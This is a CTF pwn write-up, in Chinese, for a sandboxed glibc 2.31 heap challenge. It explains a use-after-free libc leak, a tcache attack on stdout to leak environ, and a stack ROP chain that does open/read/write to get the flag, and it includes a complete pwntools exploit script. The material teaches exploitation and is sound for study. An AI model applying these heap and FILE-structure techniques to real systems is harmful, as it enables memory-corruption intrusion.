image-20240404204029234

开启了沙盒保护,所以需要利用ORW读取flag。

程序分析

只有一次UAF和一次show。最大申请0x90大小的chunk。libc-2.31.so版本。

思路

先利用UAF 和show,释放Unsortedbin来泄露libc地址。此时没有show功能了,但是想要ORW的,需要配合栈,分配到栈区构造ROP即可读取flag。所以需要通过environ泄露栈地址。既然需要泄露,所以此时就需要利用攻击IO_FILE_stdout结构。

IO_FILE_stdout利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
// 判断标志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
// 为了不执行该if分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
// 调用_IO_do_write 输出 输出缓冲区
// 从_IO_write_base开始,输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
// 为了不执行else if分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...
return count;
}

综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
(3) 设置_fileno1
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000

此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。
一般来说,经常利用puts函数加上述stdout任意读的方式泄露libc

如果泄露某个地址,那么就需要修改几部分:

image-20240404210047926

1
2
3
4
5
6
7
_flags=0xfbad1800
_IO_read_ptr=0
_IO_read_base=0
_IO_read_base=0
_IO_write_base=target_addr
_IO_write_ptr=target_addr+8
_IO_write_ptr=target_addr+8

如果想泄露stdout附近的地址,那就只覆盖_IO_write_base的最低一字节为’\x00’即可,也可以leak_libc。

题目利用过程

利用一次UAF和show泄露libc后,需要利用stdout泄露libc,利用切割unsortedbin,达到overlapping的目的,就可以利用tcachebin_attack申请到stdout处的chunk,然后修改即可后泄露environ。再利用tcachebin_attack申请到栈ORW即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28660)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
def add(size,content):
rl("Choice: ")
sl('1')
rl("Please input size: ")
sl(str(size))
rl("Please input content: ")
s(content)
def show(index):
rl("Choice: ")
sl('3')
rl("Please input idx:")
sl(str(index))
def delete(index):
rl("Choice: ")
sl('2')
rl("Please input idx:")
sl(str(index))
def uaf(index):
rl("Choice: ")
sl('666')
rl("Please input idx:")
sl(str(index))

gdb.attach(p)
for i in range(9):
add(0x80,'aaa')
add(0x80,'aaa')
for i in range(7):
delete(i)
uaf(8)
show(8)
rl("\x0a")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x60-0x1ecb80
lg("libc_base",libc_base)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
lg("stdout",stdout)
environ = libc_base + libc.sym['__environ']
lg("environ",environ)

delete(7)
add(0x80,'aaa')
delete(8)
add(0x70,'a')
add(0x70,p64(0)+p64(0x91)+p64(stdout))
add(0x80,'aaa')
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*2)

stack_leak = l64()
lg("stack_leak",stack_leak)
ret_addr = stack_leak-0x128
lg("ret_addr",ret_addr)
delete(3)
delete(2)

add(0x70,p64(0)+p64(0x91)+p64(ret_addr))

add(0x80,'aa')

pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92

# orw = './flag\x00\x00' + p64(pop_rdi) + p64(ret_addr) + p64(pop_rsi) + p64(0) + p64(libc_base+libc.sym['open'])
# orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(ret_addr+0x200) + p64(pop_rdx) + p64(0x50) + p64(libc_base+libc.sym['read'])
# orw += p64(pop_rdi) + p64(1) +p64(libc_base+libc.sym['write'])

# add(0x80,orw)


inter()